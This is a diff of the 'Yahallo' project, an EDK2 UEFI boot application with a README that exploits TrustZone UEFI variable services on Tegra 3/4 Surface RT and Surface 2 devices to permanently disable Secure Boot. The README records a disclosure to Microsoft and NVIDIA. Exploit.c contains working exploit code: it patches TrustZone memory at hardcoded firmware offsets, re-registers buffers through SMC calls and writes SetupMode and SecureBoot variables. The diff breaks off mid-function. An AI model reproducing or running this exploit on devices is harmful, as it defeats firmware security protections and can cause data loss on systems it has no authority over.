Call constructor for all libraries. + // + ProcessLibraryConstructorList(ImageHandle, SystemTable); + + // + // Call the module's entry point + // + Status = ProcessModuleEntryPointList(ImageHandle, SystemTable); + + // + // Process destructor for all libraries. + // + ProcessLibraryDestructorList(ImageHandle, SystemTable); + + // + // Return the return status code from the driver entry point + // + return Status; +} + +/** + Invokes the library destructors for all dependent libraries and terminates + the UEFI Application. + + This function calls ProcessLibraryDestructorList() and the EFI Boot Service +Exit() with a status specified by Status. + + @param Status Status returned by the application that is exiting. + +**/ +VOID EFIAPI Exit(IN EFI_STATUS Status) + +{ + ProcessLibraryDestructorList(gImageHandle, gST); + + gBS->Exit(gImageHandle, Status, 0, NULL); +} + +/** + Required by the EBC compiler and identical in functionality to +_ModuleEntryPoint(). + + @param ImageHandle The image handle of the UEFI Application. + @param SystemTable A pointer to the EFI System Table. + + @retval EFI_SUCCESS The UEFI Application exited normally. + @retval EFI_INCOMPATIBLE_VERSION _gUefiDriverRevision is greater than +SystemTable->Hdr.Revision. + @retval Other Return value from +ProcessModuleEntryPointList(). + +**/ +EFI_STATUS +EFIAPI +EfiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) +{ + return _EfiModuleEntryPoint(ImageHandle, SystemTable); +} + +STATIC +VOID BlpArmSetExeceptionContext(IN PBL_FIRMWARE_DESCRIPTOR FirmwareDescriptor) +{ + UINT32 VbarValue; + + VbarValue = FirmwareDescriptor->ExceptionState.Vbar; + ArmWriteVBar(FirmwareDescriptor->ExceptionState.Vbar); + ArmInstructionSynchronizationBarrier(); +} + +STATIC +VOID BlpArmSetThreadContext(IN PBL_FIRMWARE_DESCRIPTOR FirmwareDescriptor) +{ + UINT32 TpidrprwValue; + UINT32 SctlrValue; + + TpidrprwValue = FirmwareDescriptor->ExceptionState.IdSvcRW; + ArmWriteTpidrprw(TpidrprwValue); + ArmInstructionSynchronizationBarrier(); + + SctlrValue = FirmwareDescriptor->ExceptionState.Control; + ArmWriteSctlr(SctlrValue); + + ArmInvalidateTlb(); + ArmInvalidateBtac(); + ArmDataSynchronizationBarrier(); + ArmInstructionSynchronizationBarrier(); +} + +STATIC +VOID BlpArmSetPagingContext(IN PBL_FIRMWARE_DESCRIPTOR FirmwareDescriptor) +{ + UINT32 TtbrValue; + + TtbrValue = FirmwareDescriptor->MmState.HardwarePageDirectory | + FirmwareDescriptor->MmState.TTB_Config; + ArmSetTTBR0((VOID *)TtbrValue); + ArmInstructionSynchronizationBarrier(); + + ArmInvalidateTlb(); + ArmInvalidateBtac(); + ArmDataSynchronizationBarrier(); + ArmInstructionSynchronizationBarrier(); +} + +STATIC +UINT32 BlpArmDisableInterrupts(IN PBL_FIRMWARE_DESCRIPTOR FirmwareDescriptor) +{ + UINT32 OldInterruptState; + + OldInterruptState = FirmwareDescriptor->InterruptState; + ArmDisableInterrupts(); + + return OldInterruptState; +} + +STATIC +VOID BlpArmEnableInterrupts(IN UINT32 OldInterruptState) +{ + if (OldInterruptState) { + ArmEnableInterrupts(); + } +} + +VOID BlpArmSwitchToFirmwareContext( + IN PBL_FIRMWARE_DESCRIPTOR FirmwareDescriptor) +{ + UINT32 OldInterruptState; + + OldInterruptState = BlpArmDisableInterrupts(FirmwareDescriptor); + BlpArmSetPagingContext(FirmwareDescriptor); + BlpArmSetThreadContext(FirmwareDescriptor); + BlpArmSetExeceptionContext(FirmwareDescriptor); + BlpArmEnableInterrupts(OldInterruptState); +} + +STATIC +VOID BlpEfiMain(IN PBL_FIRMWARE_DESCRIPTOR FirmwareDescriptor) +{ + EFI_SYSTEM_TABLE *SystemTable; + EFI_HANDLE ImageHandle; + + if (FirmwareDescriptor->SystemTable) { + SystemTable = FirmwareDescriptor->SystemTable; + ImageHandle = FirmwareDescriptor->ImageHandle; + + _EfiModuleEntryPoint(ImageHandle, SystemTable); + } +} + +/** + Windows Boot Application's version of _ModuleEntryPoint. + + This function is the entry point for a Windows Boot Application. This function + performs required processor state switch, then hands over control to + EFI's entry point, see BlpEfiMain for details. + + @param BootAppParameters Boot Application Params + @param LibraryParameters Library Params, remains unused. + + @retval STATUS_SUCCESS The boot application exited normally. + @retval STATUS_INVALID_PARAMETER The boot application entry doesn't contain +valid app params. + +**/ +NTSTATUS +_ModuleEntryPoint( + IN PBOOT_APPLICATION_PARAMETER_BLOCK BootAppParameters, + IN PBL_LIBRARY_PARAMETERS LibraryParameters) +{ + PBL_LIBRARY_PARAMETERS LibraryParams; + PBL_FIRMWARE_DESCRIPTOR FirmwareDescriptor; + UINT32 ParamPointer; + + if (!BootAppParameters) { + return STATUS_INVALID_PARAMETER; + } + + LibraryParams = LibraryParameters; + ParamPointer = (UINT32)BootAppParameters; + FirmwareDescriptor = (PBL_FIRMWARE_DESCRIPTOR)( + ParamPointer + BootAppParameters->FirmwareParametersOffset); + + BlpArmSwitchToFirmwareContext(FirmwareDescriptor); + BlpEfiMain(FirmwareDescriptor); + + return STATUS_SUCCESS; +} diff --git a/Library/WindowsBootApplicationEntryPoint/Arm/ArmV7Lib.h b/Library/WindowsBootApplicationEntryPoint/Arm/ArmV7Lib.h new file mode 100644 index 0000000..868bf86 --- /dev/null +++ b/Library/WindowsBootApplicationEntryPoint/Arm/ArmV7Lib.h @@ -0,0 +1,9 @@ +// Armv7Lib.h: Supplmental ARMv7 operations + +UINTN +EFIAPI +ArmReadTpidrprw(VOID); + +VOID EFIAPI ArmWriteTpidrprw(UINTN Value); + +VOID EFIAPI ArmInvalidateBtac(VOID); diff --git a/Library/WindowsBootApplicationEntryPoint/Arm/ArmV7Support.S b/Library/WindowsBootApplicationEntryPoint/Arm/ArmV7Support.S new file mode 100644 index 0000000..66728a6 --- /dev/null +++ b/Library/WindowsBootApplicationEntryPoint/Arm/ArmV7Support.S @@ -0,0 +1,34 @@ +#------------------------------------------------------------------------------ +# +# Copyright (c) 2008 - 2010, Apple Inc. All rights reserved.
+# Copyright (c) 2011 - 2014, ARM Limited. All rights reserved. +# Copyright (c) 2016, Linaro Limited. All rights reserved. +# Copyright (c) 2020, Bingxing Wang. All rights reserved. +# +# SPDX-License-Identifier: BSD-2-Clause-Patent +# +#------------------------------------------------------------------------------ + +#include + +.set DC_ON, (0x1<<2) +.set IC_ON, (0x1<<12) +.set CTRL_M_BIT, (1 << 0) +.set CTRL_C_BIT, (1 << 2) +.set CTRL_B_BIT, (1 << 7) +.set CTRL_I_BIT, (1 << 12) + + +ASM_FUNC(ArmReadTpidrprw) + mrc p15, 0, r0, c13, c0, 4 @ read TPIDRPRW + bx lr + +ASM_FUNC(ArmWriteTpidrprw) + mcr p15, 0, r0, c13, c0, 4 @ write TPIDRPRW + bx lr + +ASM_FUNC(ArmInvalidateBtac) + mcr p15, 0, r0, c7, c5, 6 @Invalidate Branch predictor array + bx lr + +ASM_FUNCTION_REMOVE_IF_UNREFERENCED diff --git a/Library/WindowsBootApplicationEntryPoint/Arm/ArmV7Support.asm b/Library/WindowsBootApplicationEntryPoint/Arm/ArmV7Support.asm new file mode 100644 index 0000000..eb8f436 --- /dev/null +++ b/Library/WindowsBootApplicationEntryPoint/Arm/ArmV7Support.asm @@ -0,0 +1,35 @@ +//------------------------------------------------------------------------------ +// +// Copyright (c) 2008 - 2010, Apple Inc. All rights reserved.
+// Copyright (c) 2011 - 2014, ARM Limited. All rights reserved. +// Copyright (c) 2020, Bingxing Wang. All rights reserved. +// +// SPDX-License-Identifier: BSD-2-Clause-Patent +// +//------------------------------------------------------------------------------ + + + INCLUDE AsmMacroExport.inc + PRESERVE8 + +DC_ON EQU ( 0x1:SHL:2 ) +IC_ON EQU ( 0x1:SHL:12 ) +CTRL_M_BIT EQU (1 << 0) +CTRL_C_BIT EQU (1 << 2) +CTRL_B_BIT EQU (1 << 7) +CTRL_I_BIT EQU (1 << 12) + + + RVCT_ASM_EXPORT ArmReadTpidrprw + mrc p15, 0, r0, c13, c0, 4 ; read TPIDRPRW + bx lr + + RVCT_ASM_EXPORT ArmWriteTpidrprw + mcr p15, 0, r0, c13, c0, 4 ; write TPIDRPRW + bx lr + + RVCT_ASM_EXPORT ArmInvalidateBtac + mcr p15, 0, r0, c7, c5, 6 ; Invalidate Branch predictor array + bx lr + + END diff --git a/Library/WindowsBootApplicationEntryPoint/WindowsBootApplicationEntryPoint.inf b/Library/WindowsBootApplicationEntryPoint/WindowsBootApplicationEntryPoint.inf new file mode 100644 index 0000000..4b79b30 --- /dev/null +++ b/Library/WindowsBootApplicationEntryPoint/WindowsBootApplicationEntryPoint.inf @@ -0,0 +1,45 @@ +## @file +# Module entry point library for Windows Boot Application. +# +# Copyright (c) 2007 - 2018, Intel Corporation. All rights reserved.
+# Copyright (c) 1996 - 2020, The ReactOS Project. All rights reserved.
+# Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All rights reserved.
+# +# SPDX-License-Identifier: GPL-2.0-only +# +# +## + +[Defines] + INF_VERSION = 0x00010005 + BASE_NAME = WindowsBootApplicationEntryPoint + MODULE_UNI_FILE = WindowsBootApplicationEntryPoint.uni + FILE_GUID = DADE8301-CB29-4fd5-8148-56FD246C5B88 + MODULE_TYPE = UEFI_APPLICATION + VERSION_STRING = 1.0 + LIBRARY_CLASS = WindowsBootApplicationEntryPoint|UEFI_APPLICATION + +# +# VALID_ARCHITECTURES = ARM +# + +[Sources] + ApplicationEntryPoint.c + +[Sources.ARM] + Arm/ArmV7Lib.h + Arm/ArmV7Support.S | GCC + Arm/ArmV7Support.asm | RVCT + +[Packages] + MdePkg/MdePkg.dec + YahalloPkg/YahalloPkg.dec + ArmPkg/ArmPkg.dec + ArmPlatformPkg/ArmPlatformPkg.dec + +[LibraryClasses] + UefiBootServicesTableLib + DebugLib + BaseLib + ArmLib + CacheMaintenanceLib diff --git a/Library/WindowsBootApplicationEntryPoint/WindowsBootApplicationEntryPoint.uni b/Library/WindowsBootApplicationEntryPoint/WindowsBootApplicationEntryPoint.uni new file mode 100644 index 0000000..52c2801 --- /dev/null +++ b/Library/WindowsBootApplicationEntryPoint/WindowsBootApplicationEntryPoint.uni @@ -0,0 +1,18 @@ +// /** @file +// Module entry point library for Windows Boot Application. +// +// Module entry point library for Windows Boot Application. +// +// Copyright (c) 2007 - 2014, Intel Corporation. All rights reserved.
+// Copyright (c) 1996 - 2020, The ReactOS Project. All rights reserved.
+// Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All rights reserved.
+// +// SPDX-License-Identifier: GPL-2.0-only +// +// **/ + + +#string STR_MODULE_ABSTRACT #language en-US "Module entry point library for Windows Boot Application" + +#string STR_MODULE_DESCRIPTION #language en-US "Module entry point library for Windows Boot Application." + diff --git a/README.md b/README.md new file mode 100644 index 0000000..657360c --- /dev/null +++ b/README.md @@ -0,0 +1,42 @@ +# Yahallo: Tegra 3 and Tegra 4 TrustZone UEFI variable services handler exploit and Secure Boot unlock tool + +This tool exploits NVIDIA Tegra 3/Tegra 4 UEFI variable services and implements TrustZone takeover. In this way, users can permanently turn off Secure Boot on Tegra-based Windows RT devices without external devices' assistance (e.g. RCM Mode.) + +This documentation is intentionally drafted in a professional way to discourage average device owners from messing up the system firmware. + +**Disclaimer**: THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. By using this tool, you acknowledge that you are intentionally turning off the device's ~security features~. The author is not liable for any consequence, for instance, confidential data loss due to fTPM lockout, or warranty void. + +# Issue Disclosure +- 2020/08: Discovery, initial prototype +- 2020/09/22: Reported to MSRC (MSRC 61209) +- 2020/10/07: MSRC confirmed wontfix since Surface RT and Surface 2 hardware are EOL + +> Unfortunately, you are correct - support for these versions of the Surface has ended, and no additional security updates will be offered. We appreciate the opportunity to review your research... - MSRC + +- 2020/10/19: Reported to NVIDIA PSIRT (3156921) +- 2020/10/23: NVIDIA confirmed new Tegra SoC UEFI implementations don't reuse the old TZ code, old SoC are EOL and they think MS16-100 and MS16-140 fully addressed the prerequisite (but you can always install a BMR image and reset it...), wontfix + +> The development team has evaluated this report. The UEFI variable store for current versions of Tegra has changed - the UEFI variable store for Orin/Hopper is not what was used in TZ in previous targets and they do not believe it is affected by this issue. +> +> Also, MS16-100 and MS16-140 appear to be both changes in MS code not system firmware, biggest potential piece would be for the bad images to be rejected from the UEFI secure boot. Likely, MS updated the main dbx file hosted here: https://uefi.org/revocationlistfile as that is the normal way for security issues to be handled in UEFI. - NVIDIA PSIRT + +# Usage +- Install Secure Boot Golden Key Exploit first. If the device installed WU updates after Nov 2016, install the BMR to reset Secure Boot Key Storage. +- Run this tool as Windows Boot Manager Boot Application. + +# Buildout +I've migrated the build system from Visual Studio (uefi-simple) to EDK2. To build it: + +- Place this repo under EDK2 tree, such as `YahalloPkg` +- Apply the EDK2 build system patch. See `Edk2Patches` folder for details. +- `build -a ARM -p YahalloPkg/YahalloPkg.dsc -t GCC5` + +Launch this image as a Windows Boot Manager OS entry, with `nointegritychecks` on and `testsigning` on. + +# About Project Naming +"Yahallo" by Yui Yuigahama From [Oregairu](https://www.youtube.com/watch?v=Nhr5vrjHcIM). _No objections will be acknowledged._ + +# License +Copyright (c) 2019 - 2020, Bingxing Wang and other project authors. All rights reserved. + +This tool is released under GPLv2. diff --git a/TegraSecureBootUnlock/App.c b/TegraSecureBootUnlock/App.c new file mode 100644 index 0000000..0a5f4ea --- /dev/null +++ b/TegraSecureBootUnlock/App.c @@ -0,0 +1,26 @@ +#include "Include/Application.h" + +EFI_STATUS TegraSecureBootUnlockEntryPoint( + EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable) +{ + EFI_STATUS Status = EFI_SUCCESS; + + // Turn off watchdog timer, since this does take a while + gBS->SetWatchdogTimer(0, 0, 0, NULL); + + // Search the proper entry + Status = LaunchExploitByVersionTable(); + + // We won't let people escape here. They need to manually reset + FinalizeApp(); + return Status; +} + +VOID FinalizeApp(VOID) +{ + // Let people wait for stroke + Print(L"!!! PLEASE RESET YOUR DEVICE MANUALLY USING THE POWER BUTTON !!!\n"); + Print(L"!!! PLEASE RESET YOUR DEVICE MANUALLY USING THE POWER BUTTON !!!\n"); + Print(L"!!! PLEASE RESET YOUR DEVICE MANUALLY USING THE POWER BUTTON !!!\n"); + CpuDeadLoop(); +} diff --git a/TegraSecureBootUnlock/Cache.c b/TegraSecureBootUnlock/Cache.c new file mode 100644 index 0000000..9f63d9d --- /dev/null +++ b/TegraSecureBootUnlock/Cache.c @@ -0,0 +1,24 @@ +#include "Include/Application.h" + +VOID CortexA15CachePrime(VOID) +{ + UINTN PageSize = 4096; + UINTN Base = 0x83000000; + + Print(L"CortexA15CachePrime: priming cache...\n"); + + for (UINTN Address = 0; Address < (8 * 1024 * 1024); Address += PageSize) { + if ((Address % (1 * 1024 * 1024)) == 0) { + Print(L"CortexA15CachePrime: preloading 0x%08x\n", Base + Address); + } + + __builtin_prefetch((VOID *)(Base + Address), 1, 3); + __builtin_prefetch((VOID *)(Base + Address), 0, 3); + } + + ArmDataMemoryBarrier(); + ArmDataSynchronizationBarrier(); + ArmInstructionSynchronizationBarrier(); + + Print(L"CortexA15CachePrime: Done.\n"); +} diff --git a/TegraSecureBootUnlock/Console.c b/TegraSecureBootUnlock/Console.c new file mode 100644 index 0000000..5dd0edc --- /dev/null +++ b/TegraSecureBootUnlock/Console.c @@ -0,0 +1,33 @@ +// ConsoleUtility.c: workaround for Tegra 3 firmware +#include "Include/Application.h" + +VOID Tegra3ConsoleOutputFixup(VOID) +{ + EFI_STATUS Status = EFI_SUCCESS; + UINTN NumOutputProtocolHandles = 0; + EFI_HANDLE * pOutputHandles; + EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *pScreenEfiOutputProtocol; + + Status = gBS->LocateHandleBuffer( + ByProtocol, &gEfiSimpleTextOutProtocolGuid, NULL, + &NumOutputProtocolHandles, &pOutputHandles); + + // Some sanity check here. + if (!EFI_ERROR(Status) && NumOutputProtocolHandles >= 3) { + // Take the last handle as ConOut, don't know how I know this. + // It is painful...and it is 5am now + Status = gBS->HandleProtocol( + pOutputHandles[NumOutputProtocolHandles - 1], + &gEfiSimpleTextOutProtocolGuid, (VOID **)&pScreenEfiOutputProtocol); + + // Hack: force use the screen output for ConOut + if (!EFI_ERROR(Status)) { + gST->ConOut = pScreenEfiOutputProtocol; + gST->ConsoleOutHandle = pOutputHandles[NumOutputProtocolHandles - 1]; + // TODO: Maybe set ConOut device later...? + pScreenEfiOutputProtocol->OutputString( + pScreenEfiOutputProtocol, + L"At this moment you should have seen something on the screen...\n"); + } + } +} diff --git a/TegraSecureBootUnlock/DeviceLut.c b/TegraSecureBootUnlock/DeviceLut.c new file mode 100644 index 0000000..9c66d86 --- /dev/null +++ b/TegraSecureBootUnlock/DeviceLut.c @@ -0,0 +1,79 @@ +// DeviceLut.c: Device Look-up table + +#include "Include/Application.h" + +// Hack version LUT +VERSION_TABLE_ENTRY gVersionEntries[255] = { + { + // Surface RT v3.31.500, Tegra 3, needs firmware fix-up + // gST string "OemkS EFI Jan 24 2014 18:00:42" + L"OemkS EFI Jan 24 2014 18:00:42", + SurfaceRTExploit, + Tegra3ConsoleOutputFixup, + }, + { + // Surface 2 v4.22.500, Tegra 4 + // gST string "Surface 2 EFI Sep 11 2014 00:32:29" + L"Surface 2 EFI Sep 11 2014 00:32:29", + Surface2Exploit, + NULL, + }, + { + // Terminator + NULL, + }, +}; + +EFI_STATUS LaunchExploitByVersionTable(VOID) +{ + EFI_STATUS Status; + PVERSION_TABLE_ENTRY pEntry = NULL; + + if (gST->FirmwareVendor != NULL) { + Print( + L"Your firmware (gST): %s, 0x%x\n", gST->FirmwareVendor, + gST->FirmwareRevision); + Print(L"Matching device\n"); + + PVERSION_TABLE_ENTRY pLut = (PVERSION_TABLE_ENTRY)&gVersionEntries; + + do { + if (StrStr(gST->FirmwareVendor, pLut->FirmwareRelease) != NULL) { + pEntry = pLut; + break; + } + pLut++; + } while (pLut->FirmwareRelease != NULL); + } + else { + Print(L"[WARN] Failed to read firmware release from EFI System Table\n"); + } + + if (pEntry == NULL) { + // Fix the console anyway (because we don't know) + Tegra3ConsoleOutputFixup(); + Print(L"Yahallo - Tegra 3/4 Secure Boot Unlock Utility\n"); + Print(L"[ERROR] Failed to find the device. It is probably not supported " + L"yet\n"); + Print( + L"Your firmware (gST): %s, 0x%x\n", gST->FirmwareVendor, + gST->FirmwareRevision); + Status = EFI_NOT_FOUND; + goto exit; + } + else { + // Run pre-fix up if exists + if (pEntry->PreEntryFixup != NULL) { + HACK_ENTRY pFixupEntry = (HACK_ENTRY)pEntry->PreEntryFixup; + pFixupEntry(); + } + + // Go + Print(L"Enter the device routine\n"); + HACK_ENTRY pHackEntry = (HACK_ENTRY)pEntry->EntryPoint; + pHackEntry(); + } + +exit: + return Status; +} diff --git a/TegraSecureBootUnlock/Exploit.c b/TegraSecureBootUnlock/Exploit.c new file mode 100644 index 0000000..01fd1e6 --- /dev/null +++ b/TegraSecureBootUnlock/Exploit.c @@ -0,0 +1,447 @@ +// Exploit.c: Devicei specific exploit code +#include "Include/Application.h" + +void DisplayCommonBanner() +{ + Print(L"\nYahallo - Tegra 3/4 Secure Boot Unlock Utility\n"); + Print(L"Be aware that this process can take a few minutes\n"); +} + +void SurfaceRTExploit() +{ + EFI_STATUS Status = EFI_SUCCESS; + + DisplayCommonBanner(); + Print(L"\nElevator for Surface RT\n"); + + // Perform the TrustZone exploit, so TrustZone memory + // can be unprotected from normal world + Print(L"Hmmm.\n"); + PerformNvTegra3Exploit(); + Print(L"Hmmmmmm.\n"); + + // TrustZone memory is not mapped in normal world. + // Since I am lazy to modify PT, I decided to just turn off MMU + // and turn it back on later. + ArmDisableCachesAndMmu(); + + UINT32 Something = *((UINT32 *)(EFI_PHYSICAL_ADDRESS)0x80000000); + ArmEnableMmu(); + ArmEnableDataCache(); + ArmEnableInstructionCache(); + Print(L"Something at 0x80000000 with exploit: 0x%x\n", Something); + if (Something == 0xFFFFFFFF) { + Print(L"Something happened and the exploit doesn't work\n"); + Status = EFI_ABORTED; + goto exit; + } + + // Check some offset things + EFI_PHYSICAL_ADDRESS SetVariableAddress = + (EFI_PHYSICAL_ADDRESS)(VOID *)gRT->SetVariable; + // Shared memory start +0x5888, delta +0x5020 + EFI_PHYSICAL_ADDRESS SharedMemoryStartAddressPointerAddress = + SetVariableAddress + 0x5020; + EFI_PHYSICAL_ADDRESS SharedMemoryEndAddressPointerAddress = + SetVariableAddress + 0x5018; + UINT64 SharedMemoryStartAddress = + *((UINT64 *)(EFI_PHYSICAL_ADDRESS)SharedMemoryStartAddressPointerAddress); + // Similarly + UINT64 SharedMemoryEndAddress = + *((UINT64 *)(EFI_PHYSICAL_ADDRESS)SharedMemoryEndAddressPointerAddress); + // Check if the value makes sense or not + Print(L"Set Variable Address = 0x%llx\n", SetVariableAddress); + Print(L"Shared Memory Start = 0x%llx\n", SharedMemoryStartAddress); + Print(L"Shared Memory End = 0x%llx\n", SharedMemoryEndAddress); + if (SharedMemoryEndAddress != SharedMemoryStartAddress + 0x12004) { + Print(L"Shared memory area sanity check failed\n"); + Status = EFI_ABORTED; + goto exit; + } + + Print(L"Performing some search in the TZ memory region...\n"); + Print( + L"This is usually quick. In worst case, it might lasts a few minutes.\n"); + Print(L"Please reset your device and retry if no progress is made in 15 " + L"minutes.\n"); + + // Where is TrustZone binary? + // Turn off MMU before proceeding + ArmDisableCachesAndMmu(); + char GetHashStateString[] = "GetHashState"; + void *pTzGetHashStateString = memmem( + (void *)0x80000000, 0x2000000, GetHashStateString, + sizeof(GetHashStateString)); + char *pRuntimeFlag1; + char *pRuntimeFlag2; + char runtimeFlag1 = 0, runtimeFlag2 = 0, valid = 0; + // GetHashState = +0x949d0 + // RuntimeMode flag 1: +0xb9150 (clear buffer and re-reg buffer) + // RuntimeMode flag 2: +0xb9124 (variable checks that) + if (pTzGetHashStateString != NULL) { + pRuntimeFlag1 = ((char *)pTzGetHashStateString + 0x24780); + pRuntimeFlag2 = ((char *)pTzGetHashStateString + 0x24754); + + runtimeFlag1 = *pRuntimeFlag1; + runtimeFlag2 = *pRuntimeFlag2; + valid = 1; + } + ArmEnableMmu(); + ArmEnableDataCache(); + ArmEnableInstructionCache(); + if (valid) { + Print( + L"Runtime Flag 1 = %d, Runtime Flag 2 = %d\n", runtimeFlag1, + runtimeFlag2); + Print( + L"GetHashState string address = 0x%llx\n", + (UINT64)pTzGetHashStateString); + if (runtimeFlag1 != 1 || runtimeFlag2 != 1) { + Print(L"Unexpected Runtime Flag value\n"); + goto exit; + } + } + else { + Print(L"Pattern not found. Hmm.\n"); + Status = EFI_NOT_FOUND; + goto exit; + } + + // Revert runtime mode flags, phase 1 + ArmDisableCachesAndMmu(); + *pRuntimeFlag1 = 0; + *pRuntimeFlag2 = 0; + ArmDataSynchronizationBarrier(); + ArmEnableMmu(); + ArmEnableDataCache(); + ArmEnableInstructionCache(); + + // Re-trigger runtime mode registration + UINT32 Ret = 0; + Ret = ArmCallSmcHelper(0x03, 0x05, 0, 0); + Print(L"ArmCallSmcHelper: 0x%x\n", Ret); + if (Ret != 0) { + Print(L"Unexpected call from ArmCallSmcHelper - runtime mode patch phase " + L"1\n"); + goto exit; + } + + // Revert runtime mode flags, phase 2 + // Patch string, phase 1 + ArmDisableCachesAndMmu(); + *pRuntimeFlag1 = 0; + *pRuntimeFlag2 = 0; + // String is located at +0x94c64, delta = +0x294 + char *pSetupModeString = ((char *)pTzGetHashStateString + 0x294); + // String is located at +0x94c78, delta = +0x2a8 + char *pSecureBootString = ((char *)pTzGetHashStateString + 0x2a8); + // BetupMode + *pSetupModeString = 'B'; + *pSecureBootString = 'B'; + ArmDataSynchronizationBarrier(); + ArmEnableMmu(); + ArmEnableDataCache(); + ArmEnableInstructionCache(); + // Re-register shared memory buffer area + // To let variable services pick it up again + Ret = ArmCallSmcHelper(0x03, 0x06, (UINT32)SharedMemoryStartAddress, 0x24008); + Print(L"ArmCallSmcHelper: 0x%x\n", Ret); + if (Ret != 0) { + Print(L"Unexpected call from ArmCallSmcHelper - shared memory address " + L"registration\n"); + goto exit; + } + + // Ready to patch the variable + Print(L"Thinking....\n"); + UINT8 Data = 1; + Status = gRT->SetVariable( + L"SetupMode", &gEfiGlobalVariableGuid, + EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS | + EFI_VARIABLE_NON_VOLATILE, + sizeof(UINT8), &Data); + if (!EFI_ERROR(Status)) { + Data = 0; + Status = gRT->SetVariable( + L"SecureBoot", &gEfiGlobalVariableGuid, + EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS | + EFI_VARIABLE_NON_VOLATILE, + sizeof(UINT8), &Data); + if (!EFI_ERROR(Status)) { + Print(L"Have fun\n"); + UINTN VarSize = sizeof(UINT8); + Status = gRT->GetVariable( + L"SetupMode", &gEfiGlobalVariableGuid, NULL, &VarSize, &Data); + if (!EFI_ERROR(Status)) { + Print(L"SetupMode = 0x%x\n", Data); + } + + Status = gRT->GetVariable( + L"SecureBoot", &gEfiGlobalVariableGuid, NULL, &VarSize, &Data); + if (!EFI_ERROR(Status)) { + Print(L"SecureBoot = 0x%x\n", Data); + } + } + else { + Print(L"Something happened: 0x%x (SecureBoot)\n", Status); + } + } + else { + Print(L"Something happened: 0x%x (SetupMode)\n", Status); + } + +exit: + FinalizeApp(); +} + +void Surface2Exploit() +{ + EFI_STATUS Status = EFI_SUCCESS; + + DisplayCommonBanner(); + Print(L"\nElevator for Surface 2\n"); + + // Perform the TrustZone exploit, so TrustZone memory + // can be unprotected from normal world + Print(L"Hmmm.\n"); + PerformNvTegra4Exploit(); + Print(L"Hmmmmmm.\n"); + + // TrustZone memory is not mapped in normal world. + // Since I am lazy to modify PT, I decided to just turn off MMU + // and turn it back on later. + ArmDisableCachesAndMmu(); + ArmInvalidateTlb(); + ArmInvalidateDataCache(); + ArmInvalidateInstructionCache(); + + UINT32 Something = *((UINT32 *)((VOID *)0x80000000)); + ArmEnableMmu(); + ArmEnableDataCache(); + ArmEnableInstructionCache(); + Print(L"Something at 0x80000000 with exploit: 0x%x\n", Something); + // If memory access succeeded, we should read something not just FFFFFFF + if (Something == 0xFFFFFFFF) { + Print(L"Something happened and the exploit doesn't work\n"); + Status = EFI_ABORTED; + goto exit; + } + + // Check some offset things. The NvVariableDxe.efi program directly + // registers its variable handler to EFI System Table, so we have a + // convenient way to determine its memory location. + // + // We want to retrieve the original shared buffer address to + // normally invoke EFI variable services. + + // Static analysis based on the Surface 2 4.22.500 firmware + // SetVariableAddress = Base + 0xb54 + UINTN SetVariableAddress = (UINTN)((VOID *)gRT->SetVariable); + // gSharedMemoryStart = Base + 0x5ff8 + // gSharedMemoryEnd = Base + 0x5ff0 + UINTN SharedMemoryStartAddressPointerAddress = SetVariableAddress + 0x54A4; + UINTN SharedMemoryEndAddressPointerAddress = SetVariableAddress + 0x549C; + UINTN SharedMemoryStartAddress = + *((UINTN *)SharedMemoryStartAddressPointerAddress); + // Similarly + UINTN SharedMemoryEndAddress = + *((UINTN *)SharedMemoryEndAddressPointerAddress); + // Check if the value makes sense or not + Print(L"Set Variable Address = %p\n", SetVariableAddress); + Print(L"Shared Memory Start = %p\n", SharedMemoryStartAddress); + Print(L"Shared Memory End = %p\n", SharedMemoryEndAddress); + if (SharedMemoryEndAddress != SharedMemoryStartAddress + 0x12004) { + Print(L"Shared memory area sanity check failed: size mismatch (wrong " + L"data?)\n"); + Status = EFI_ABORTED; + goto exit; + } + + Print(L"Performing some search in the TZ memory region...\n"); + Print( + L"This is usually quick. In worst case, it might lasts a few minutes.\n"); + Print(L"Please reset your device and retry if no progress is made in 15 " + L"minutes.\n"); + + // Where is TrustZone binary? + // Turn off MMU before proceeding for the same reason. + // There's no good way to determine its actual location assuming it might + // change, But since we know GetHashState string only appears in TZ binary, we + // just brute force search the memory for the result. + ArmDisableCachesAndMmu(); + ArmInvalidateTlb(); + ArmInvalidateDataCache(); + ArmInvalidateInstructionCache(); + + const char GetHashStateString[] = "GetHashState"; + // This might not has to search 0x80000000 to 0x83000000, can be smaller + void *pTzGetHashStateString = memmem( + (void *)0x80000000, 0x2000000, GetHashStateString, + sizeof(GetHashStateString)); + volatile char *pRuntimeFlag1; + volatile char *pRuntimeFlag2; + char runtimeFlag1 = 0, runtimeFlag2 = 0, valid = 0; + // GetHashState = Base + 0x97c2c + // RuntimeMode flag 1: Base+0xbe510 (clear buffer and register buffer again + // with handler) RuntimeMode flag 2: Base+0xbe4e4 (variable checks that so + // secure variable cannot be written) Clear these two flags to 0 to allow + // register buffer again + if (pTzGetHashStateString != NULL) { + pRuntimeFlag1 = ((volatile char *)pTzGetHashStateString + 0x268E4); + pRuntimeFlag2 = ((volatile char *)pTzGetHashStateString + 0x268B8); + + runtimeFlag1 = *pRuntimeFlag1; + runtimeFlag2 = *pRuntimeFlag2; + valid = 1; + } + + ArmEnableDataCache(); + ArmEnableInstructionCache(); + ArmEnableMmu(); + + if (valid) { + Print( + L"Runtime Flag 1 = %d, Runtime Flag 2 = %d\n", runtimeFlag1, + runtimeFlag2); + Print(L"GetHashState string address = %p\n", pTzGetHashStateString); + // They are supposed to be 1 + if (runtimeFlag1 != 1 || runtimeFlag2 != 1) { + Print(L"Unexpected Runtime Flag value\n"); + goto exit; + } + } + else { + Print(L"Pattern not found. Hmm.\n"); + Status = EFI_NOT_FOUND; + goto exit; + } + +RuntimePhase1: + CortexA15CachePrime(); + + Print(L"Disabling MMU...\n"); + + // Revert runtime mode flags, phase 1 + 